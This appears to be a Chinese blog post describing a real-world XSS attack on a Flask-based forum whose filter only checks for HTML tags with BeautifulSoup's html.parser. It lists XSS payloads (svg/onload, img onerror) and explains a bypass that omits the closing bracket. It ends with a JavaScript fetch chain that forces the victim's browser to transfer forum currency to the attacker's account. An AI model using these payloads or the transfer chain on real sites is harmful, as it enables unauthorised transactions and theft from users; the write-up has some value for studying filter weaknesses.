某个国外的真实XSS漏洞利用探寻

Background

在一次测试中,在git中找到部分的源码,发现可能存在xss问题,但是经过了一点处理,于是经过探寻思考,找到了bypass的方法,写下本篇文章

Part.1 从git到混淆

server头看见这个配置 基本是flask了,而且也能确定是python,把前端部分源码放在github搜一下找到了部分代码

看到如下的混淆

上网找了找相关混淆资料

https://pyob.oxyry.com/

发现有在线解混淆的网站 最后我定位了一处核心代码在这里

def check_xss(smeo_text):
    soup = BeautifulSoup(smeo_text, "html.parser")
    tags_found = soup.find_all()
    return bool(tags_found)

我注意到这里他的xss处理其实很草率,用BeautifulSoup来过一遍论坛的文本内容,只进行了tag的匹配,并没有做诸如实体化编码类型的过滤,所以我觉得是有问题的

Part.2 探寻BeautifulSoup的html.parser

首先我手搓了一个demo

from bs4 import BeautifulSoup

# 示例的 HTML 文档
html_doc = """
<html>
<head><title>Example</title></head>
<body>
<p class="title"><b>The Dormouse's story</b></p>

<p class="story">Once upon a time there were three little sisters; and their names were
<a href="http://example.com/elsie" class="sister" id="link1">Elsie</a>,
<a href="http://example.com/lacie" class="sister" id="link2">Lacie</a> and
<a href="http://example.com/tillie" class="sister" id="link3">Tillie</a>;
and they lived at the bottom of a well.</p>

<p class="story">...</p>
"""

# 使用 BeautifulSoup 解析 HTML
soup = BeautifulSoup(html_doc, 'html.parser')

# 找到所有的标签并打印它们的名称
tags = soup.find_all()
for tag in tags:
    print(tag.name)

在这里我简单思考了下他的匹配标签的标准 一个是把关键字 常见的进行提取,第二种就是基于<>一个完整的标签为整体 提取里面的内容

翻了下beautifulsoup的html.parser代码

interesting_normal = re.compile('[&<]')
incomplete = re.compile('&[a-zA-Z#]')

entityref = re.compile('&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]')
charref = re.compile('&#(?:[0-9]+|[xX][0-9a-fA-F]+)[^0-9a-fA-F]')

starttagopen = re.compile('<[a-zA-Z]')
piclose = re.compile('>')
commentclose = re.compile(r'--\s*>')
tagfind_tolerant = re.compile(r'([a-zA-Z][^\t\n\r\f />\x00]*)(?:\s|/(?!>))*')
attrfind_tolerant = re.compile(
    r'((?<=[\'"\s/])[^\s/>][^\s/=>]*)(\s*=+\s*'
    r'(\'[^\']*\'|"[^"]*"|(?![\'"])[^>\s]*))?(?:\s|/(?!>))*')
locatestarttagend_tolerant = re.compile(r"""
  <[a-zA-Z][^\t\n\r\f />\x00]*       # tag name
  (?:[\s/]*                          # optional whitespace before attribute name
    (?:(?<=['"\s/])[^\s/>][^\s/=>]*  # attribute name
      (?:\s*=+\s*                    # value indicator
        (?:'[^']*'                   # LITA-enclosed value
          |"[^"]*"                   # LIT-enclosed value
          |(?!['"])[^>\s]*           # bare value
         )
        \s*                          # possibly followed by a space
       )?(?:\s|/(?!>))*
     )*
   )?
  \s*                                # trailing whitespace
""", re.VERBOSE)
endendtag = re.compile('>')
# the HTML 5 spec, section 8.1.2.2, doesn't allow spaces between
# </ and the tag name, so maybe this should be fixed
endtagfind = re.compile(r'</\s*([a-zA-Z][-.a-zA-Z0-9:_]*)\s*>')

可以看到他的匹配方式是我们想到的第二种 也就是我们不希望有>出现,而且一些常见的<script>这种需要成对出现的标签已经被否定了,我们需要探寻单标签

Part.3 xss利用

到这里其实能找到很多不需要成对的poc

<body/onload=alert(1)>
<svg/onload=alert(1)>
<iframe/onload=alert(1)>
<img src=1 onerror=alert(1)>

而且因为html其实是比较松散的,如果不带> 其实也是可以的 比如我们创建如下的代码

其实是会被弹窗的,在浏览器里你提取<img标签的内容其实是

<img src="1" onerror="alert(1)" <="" body="">

这个原因是因为 </body>的>关闭了标签 实际上也就不存在 </body> 标签 而是你在 svg 标签中有一个 </body 属性 而且浏览器机制也会帮你补一个新的</body>标签 所以如果你没有这些完整的html机构 单纯的<img src=1 onerror=alert(1)是不能用的

去真实环境尝试了下 发现果真如思考的一样 但是没弹窗 因为后面的</p语法错误了 我们注释掉即可

发现是可以直接弹窗的

Part4. 扩大危害

前面埋了个伏笔 是一个flask程序,他配置的很好所以我们偷cookies可能作用不是特别大了,于是开始思考有没有什么其他的思路

代码里面还暴露了一个路由转指定论坛的币 经过测试我发现他的转钱如果从自己的个人主页跳转到/transfer路由就不要求验证

那我就可以构造js使用then 构造一个chain来转给我本身

fetch('/page', { method: 'GET' })
  .then(function() {
    return fetch('/transfer', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: 'money=10000&transfer_id=21e3e7f6210'
    });
  })
  .then(function() {
    window.location.href = '/forum';
  });
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值